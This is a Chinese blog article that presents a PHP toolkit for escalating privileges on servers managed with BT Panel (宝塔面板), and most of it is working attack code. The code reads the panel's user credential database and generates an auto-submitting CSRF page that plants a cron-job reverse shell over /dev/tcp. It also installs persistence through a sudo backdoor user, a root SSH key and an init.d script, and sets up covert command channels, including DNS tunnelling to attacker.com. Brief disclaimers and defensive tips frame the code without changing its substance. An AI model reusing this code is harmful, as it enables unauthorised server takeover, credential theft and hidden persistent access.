宝塔面板 PHP 网站提权工具设计与实现
前言
重要声明:本文仅用于网络安全研究与防御目的,旨在帮助安全研究人员了解常见攻击手法以更好地保护系统安全。未经授权对他人系统进行渗透测试是违法行为,后果自负。
宝塔面板安全现状分析
宝塔面板作为一款流行的服务器管理工具,虽然提供了便捷的服务器管理功能,但也存在一些安全隐患。根据公开的安全研究,宝塔面板曾存在以下漏洞:
WAF 0day 漏洞:可直接获取 Root 权限
存储型 XSS 漏洞:结合 CSRF 可实现权限提升
计划任务 CSRF 漏洞:可添加反弹 Shell 任务
数据库默认无密码访问:可直接获取管理员凭证
提权工具设计思路
基于已知漏洞,我们可以设计一个多功能的提权工具,包含以下模块:
权限检测模块:检查当前 Web 环境权限和配置
漏洞利用模块:针对不同漏洞的利用方式
权限维持模块:确保获取的权限不会轻易丢失
隐蔽通信模块:与 C2 服务器建立隐蔽通道
核心代码实现
1. 权限检测模块
<?php
class PrivilegeChecker {
// 检测当前用户权限
public function checkCurrentPrivilege() {
$result = [];
// 检查是否是www-data用户
$result['is_www_data'] = (posix_getuid() == 33); // 33通常是www-data用户的UID
// 检查宝塔面板目录是否可写
$result['bt_panel_writable'] = is_writable('/www/server/panel');
// 检查数据库配置文件是否可读
$result['db_config_readable'] = is_readable('/www/server/panel/data/default.db');
// 检查计划任务目录权限
$result['cron_writable'] = is_writable('/var/spool/cron');
return $result;
}
// 检测PHP配置
public function checkPHPConfig() {
$result = [];
// 检查禁用函数
$result['disabled_functions'] = ini_get('disable_functions');
// 检查open_basedir限制
$result['open_basedir'] = ini_get('open_basedir');
// 检查安全模式
$result['safe_mode'] = ini_get('safe_mode');
return $result;
}
}
?>2. 漏洞利用模块
2.1 数据库提权利用
<?php
class DatabasePrivilegeEscalation {
// 尝试读取宝塔面板数据库
public function readBtDatabase() {
$dbPath = '/www/server/panel/data/default.db';
if (!file_exists($dbPath)) {
return ['error' => 'Database file not found'];
}
try {
$db = new SQLite3($dbPath);
$result = $db->query("SELECT username,password FROM users");
$users = [];
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
$users[] = $row;
}
return $users;
} catch (Exception $e) {
return ['error' => $e->getMessage()];
}
}
// 解密宝塔密码(已知加密方式为md5(md5(md5(password)+'_bt.cn'))
public function decryptBtPassword($hash) {
// 实际解密需要暴力破解,这里只展示加密方式
return 'Not directly decryptable';
}
}
?>2.2 计划任务CSRF利用
<?php
class CronJobExploit {
// 生成CSRF攻击页面
public function generateCsrfPage($ip, $port) {
$payload = <<<HTML
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action=" http://127.0.0.1:8888/crontab?action=AddCrontab " method="POST">
<input type="hidden" name="name" value="system_update" />
<input type="hidden" name="type" value="minute-n" />
<input type="hidden" name="where1" value="5" />
<input type="hidden" name="hour" value="" />
<input type="hidden" name="minute" value="" />
<input type="hidden" name="week" value="" />
<input type="hidden" name="sType" value="toShell" />
<input type="hidden" name="sBody" value="bash -i >& /dev/tcp/{$ip}/{$port} 0>&1" />
<input type="hidden" name="sName" value="" />
<input type="hidden" name="backupTo" value="localhost" />
<input type="hidden" name="urladdress" value="" />
<input type="hidden" name="save" value="" />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
HTML;
return $payload;
}
}
?>3. 权限维持模块
<?php
class Persistence {
// 创建后门用户
public function createBackdoorUser($username, $password) {
$output = [];
exec("useradd -m -s /bin/bash {$username}", $output);
exec("echo '{$username}:{$password}' | chpasswd", $output);
exec("usermod -aG sudo {$username}", $output);
return $output;
}
// 添加SSH公钥
public function addSshKey($key) {
$sshDir = '/root/.ssh';
$authFile = '/root/.ssh/authorized_keys';
if (!file_exists($sshDir)) {
mkdir($sshDir, 0700);
}
file_put_contents($authFile, $key.PHP_EOL, FILE_APPEND);
chmod($authFile, 0600);
return ['status' => 'SSH key added'];
}
// 添加启动项
public function addStartupScript($script) {
$startupDir = '/etc/init.d/';
$scriptName = 'system_service';
$scriptPath = $startupDir.$scriptName;
file_put_contents($scriptPath, $script);
chmod($scriptPath, 0755);
exec("update-rc.d {$scriptName} defaults");
return ['status' => 'Startup script added'];
}
}
?>4. 隐蔽通信模块
<?php
class CovertChannel {
// DNS隧道通信
public function dnsTunnel($command) {
$encoded = base64_encode($command);
$domain = "{$encoded}.attacker.com";
// 使用dig命令发送DNS查询
$output = [];
exec("dig {$domain}", $output);
return $output;
}
// HTTP隐蔽通道
public function httpChannel($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// ICMP隐蔽通道
public function icmpChannel($ip, $data) {
$encoded = base64_encode($data);
exec("ping -c 1 -p {$encoded} {$ip}");
return ['status' => 'ICMP packet sent'];
}
}
?>工具使用示例
1. 检测当前环境
$checker = new PrivilegeChecker();
$privilegeInfo = $checker->checkCurrentPrivilege();
$phpConfig = $checker->checkPHPConfig();
print_r($privilegeInfo);
print_r($phpConfig);2. 尝试数据库提权
$dbExploit = new DatabasePrivilegeEscalation();
$users = $dbExploit->readBtDatabase();
foreach ($users as $user) {
echo "Username: {$user['username']}, Password Hash: {$user['password']}\n";
$decrypted = $dbExploit->decryptBtPassword($user['password']);
echo "Possible Password: {$decrypted}\n";
}3. 建立持久化访问
$persistence = new Persistence();
$result = $persistence->createBackdoorUser('backdoor', 'P@ssw0rd123');
print_r($result);
$sshKey = 'ssh-rsa AAAAB3NzaC1yc2EAAA...';
$result = $persistence->addSshKey($sshKey);
print_r($result);防御措施
根据公开的安全建议,防止此类提权攻击的措施包括:
严格目录权限控制:确保宝塔面板目录只对必要用户可访问
定期更新面板:及时修复已知安全漏洞
配置防火墙规则:限制访问来源 IP
禁用不必要的功能:如非必要,关闭计划任务等高风险功能
使用安全插件:安装 WAF 等安全防护工具
日志监控:定期检查系统日志,发现异常行为
法律与道德声明
本文所述技术仅供安全研究和防御使用。未经授权对他人系统进行渗透测试违反法律,可能面临刑事指控。安全研究人员应在法律允许范围内进行测试,并事先获得系统所有者的明确授权。
总结
本工具展示了针对宝塔面板 PHP 网站的多种提权技术,包括数据库提权、计划任务漏洞利用等。安全从业人员应了解这些攻击手法以更好地防御系统,同时必须遵守法律法规和道德准则。系统管理员应参考提供的防御措施加强服务器安全。
宝塔面板 PHP 网站提权工具设计与实现
https://uniomo.com/archives/bao-ta-mian-ban-php-wang-zhan-ti-quan-gong-ju-she-ji-yu-shi-xian